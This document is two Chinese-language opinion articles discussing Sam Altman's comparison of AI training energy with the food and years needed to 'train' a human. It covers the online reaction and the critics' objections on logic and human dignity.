如果几年前有人跟我说，「你以后可能会看到科技公司CEO，用人类的生存成本来为AI辩护」，我大概会觉得这是科幻小说里的情节。但这个看似荒诞的场景，真的发生了。不久前的印度AI峰会上，Sam Altman面对AI能源消耗的质疑时，给出了一个让人意外的回应：「训练一个人需要20年的生命和这期间吃掉的所有食物，相比之下，讨论AI的能源使用是『不公平』的。」这不是简单的狡辩，而是一种全新的叙事策略——当你的产品被指控太耗能时，不妨算算人类的「训练成本」。01「人肉成本」的精妙算计Altman的逻辑表面上很简单：一个人从出生到成年，需要消耗20年的食物、住房、教育资源，而训练一个AI模型只需要几个月。从「投入产出比」来看，AI似乎更划算。这个比较背后藏着一个巧妙的概念偷换。人类的成长不是纯粹的「训练」，而是生命本身。一个20岁的人不仅具备了工作能力，还有情感、创造力、道德判断，以及无法量化的人生体验。而AI模型无论多么强大，都只是在特定任务上的工具。但Altman的比较确实触及了一个有趣的角度。如果把人类社会看作一个巨大的「训练系统」，那么培养一名程序员的总成本确实惊人：20年基础教育、4年大学、若干年工作经验，再算上背后的社会基础设施投入。有开发者在Twitter上调侃：「按这个逻辑，我应该感谢公司没有直接用AI替代我，毕竟我的『训练成本』确实挺高。」02从万亿承诺到六千亿现实Altman选择在这个时间点抛出「人肉成本论」，背景颇为微妙。就在几天前，OpenAI刚刚大幅调整了财务预期——原本宣称的1.4万亿美元基础设施投入，悄悄缩水到6000亿美元。这个调整释放了一个信号：即使是OpenAI，也开始正视AI训练的成本压力。当初豪气万丈的万亿计划，在现实的能源账单面前变得谨慎。与此同时，OpenAI的商业化步伐在加速。从考虑在ChatGPT中加入「Instagram风格」的广告，到与Tata集团的战略合作，再到GPT-5.2-Codex的发布——每一步都在寻找更高效的盈利模式，以平衡巨额的训练成本。Altman的能源辩论，更像是为这种商业化转向提供理论支撑。如果AI训练比人类「培养」更环保，那么大规模投入AI就有了道德正当性。如果AI模型的能效比人类更高，那么用AI替代人工就不仅是商业选择，还是环保责任。这场能源辩论的背景，是整个科技行业对AI环境影响的集体焦虑。数据中心的耗电量正在以惊人速度增长。训练一个大型语言模型的碳排放，相当于几百次跨大西洋航班。当各国政府都在制定碳中和目标时，AI公司面临着前所未有的压力。Altman的「人肉成本论」，本质上是一种防御性的叙事策略——与其被动解释AI为什么耗能，不如主动重新定义「什么是合理的能源消耗」。这让笔者想起他在峰会上的另一个表态：需要类似国际原子能机构的组织来监管AI。表面上是呼吁监管，实际上是在为AI的「核能级」影响力做铺垫：既然AI像核能一样重要，那么相应的能源消耗就是必要代价。但这种叙事面临一个根本问题——AI和人类并不是非此即彼的关系。03被忽视的第三种可能Altman的比较预设了一个前提：AI和人类是竞争关系，我们必须选择更「高效」的那一个。但现实远比这个二元对立复杂。AI的价值不在于替代人类，而在于增强人类能力。一个经验丰富的程序员配合AI工具，产出效率远超纯AI或纯人工。从这个角度看，真正的问题不是「AI比人类更环保吗」，而是「如何让AI的能源消耗产生最大价值」。一位能源政策研究者在接受采访时指出：「关键不是AI用了多少电，而是这些电有没有用对地方。如果AI能帮助优化电网、减少能源浪费，那么训练成本就是划算的投资。」OpenAI最近推出的安全功能和风险标签，某种程度上也是在回应这个问题——通过更精准的应用，让每一分算力都用得更有意义。Altman的「人肉成本论」虽然听起来荒诞，但它揭示了一个深层次的哲学问题：在算法时代，我们如何衡量价值和成本？当AI能够在2小时内完成人类20年才能掌握的技能，传统的成本效益分析是否还适用？当机器学习的边际成本趋近于零，人类劳动的价值该如何重新定义？这些问题没有标准答案，但不能回避讨论。从印度AI峰会上Altman与Anthropic CEO Dario Amodei拒绝握手的紧张场面，到关于AI广告的口水战，再到如今的能源辩论——每一次争议背后，都是对AI未来形态的不同想象。Altman选择用「人肉成本」为AI辩护，实际上是在重新界定效率的含义。但效率从来不是唯一标准，还有公平、可持续、以及我们想要生活在什么样的世界。当科技CEO开始计算人类的「训练成本」时，也许我们该问的不是这笔账算得对不对，而是：我们是否愿意生活在一个把人类当作「低效AI」的世界里。

奥特曼又又又又口出狂言了。在印度Express Adda的论坛上，Sam Altman聊了很多AI话题，从AGI到中美AI竞争，再到数据中心用水问题。但最火的那段，是他回应AI能耗批评时说的：「人们总谈训练AI模型需要多少能源……但训练人类也需要大量能源，得花20年时间，消耗那么多食物，才能变聪明。」这话说错了——人吃了40年的饭都未必有这么聪明。这话听起来只是个比喻，但一传开，就被解读成AI vs人类的「效能大战」。Altman到底想表达什么？简单说，他觉得大家批评AI时，总拿「训练模型」的总能耗和人类「回答一个问题」的瞬间能耗比，这不公平。人类也不是生下来就是大聪明，从婴儿到成人，吃喝拉撒20年，还得加上学校教育、社会教育，这些都消耗食物、水、电等等能源。如果算「全生命周期成本」，AI其实挺高效的，训练一次，就能无限次回答问题，而人类每次思考还得再烧脑子——大脑耗能约20瓦。换言之，在他看来，AI不是能源杀手，而是未来文明的必需品，就像电灯发明时也有人担心蜡烛业失业一样。这个观点不是Altman首创。早在AI热潮前，就有专家比过生物大脑和硅芯片的效率。但Altman作为OpenAI老大，说出来的话影响力巨大，瞬间成了X热点，视频有两千多万次浏览，引爆了讨论。人类尊严，AI是工具还是「更好的人类」？Altman把人类成长比作「训练」，听起来像把人当机器。这让很多人不爽，觉得贬低了人类的价值——生命不是数据输入输出啊！人一生的自然进化中，不仅有产出，还有情感、教育、成长的喜悦，这些能量计算不来，在舆论场上，这点被放大。一个油管博主打出标题「OpenAI CEO Argues Energy Is More Wasteful On Humans Than AI，Goes Very Poorly」，说Altman的言论进行得很糟糕。X上，@BrianRoemmele直呼震惊，觉得这是给AI行业招黑，「片面思考，反人类。重视人类胜过AI——永远。」当然，也有用户帮忙解释，「这不是要取代人类，只是更准确计算自动化成本。」他也承认Altman这样说不好，但是要理性、中立、客观地看待。于是，真的有人认真算起来了，然后悲催的发现，自己一天什么都没做，就消耗了卡路里。不止他一个，还有很多支持派觉得Altman点醒了大家。信息总有成本，之前没有算过，现在算起来细思极恐，Altman的说法是让大家正视这件事。这些反应暗示了AI的价值大于成本，可是能不能跟人并列一起算呢？这引发了关于AI是否会取代人类的讨论。拿人跟AI比？荒唐！相比之下，负面的批评显然是更多的，就算这只是个比喻，也非常荒唐。Altman的这番话，看上去合理，但也有明显的逻辑谬误。人类确实要吃喝20年才能「变聪明」，但这20年的能量消耗是基线生存，用来维持生命、维持社会运转，不是专为「产生智能」而额外投入的。哪怕一个人一辈子啥都不学，躺平当咸鱼，他也得吃饭喝水呼吸。其次，规模和可复制性完全不同。Altman想强调「per query」的效率，但他忽略了：人类智能没法「复制部署」到数据中心里无限扩容。AI的真正优势恰恰在于「训一次，用一辈子」，而人类是「训一次，用一辈子还得继续喂」。如果真要比「单位智能产出每焦耳能量」，AI在规模化后确实可能碾压，但用「养孩子总成本」来类比，反而把这个优势给模糊掉了。把孩子成长比作「模型训练」，本质上是把人降格成「低效生物计算机」，这不只是逻辑问题，更是价值观滑坡。网上很多人直接说「这不是比喻选错了，而是把尊严换成效率的典型技术官僚思维」。总体看，从2月20日视频发出来后，这两天迅速扩散，大概有30%的回应是正面，中立20%，负面占50%。这反映了AI话题的两极化。一方面，它确实戳中了AI发展的痛点：能量是瓶颈，但技术的飞轮不能停。另一方面，技术也不能是真空的，最终得回到对人类生活的帮助和改善上。或许，如Altman所说，建设更多清洁能源是一种解法，但也如批评者所言，无论未来出路是什么，都要尊重人类独特价值。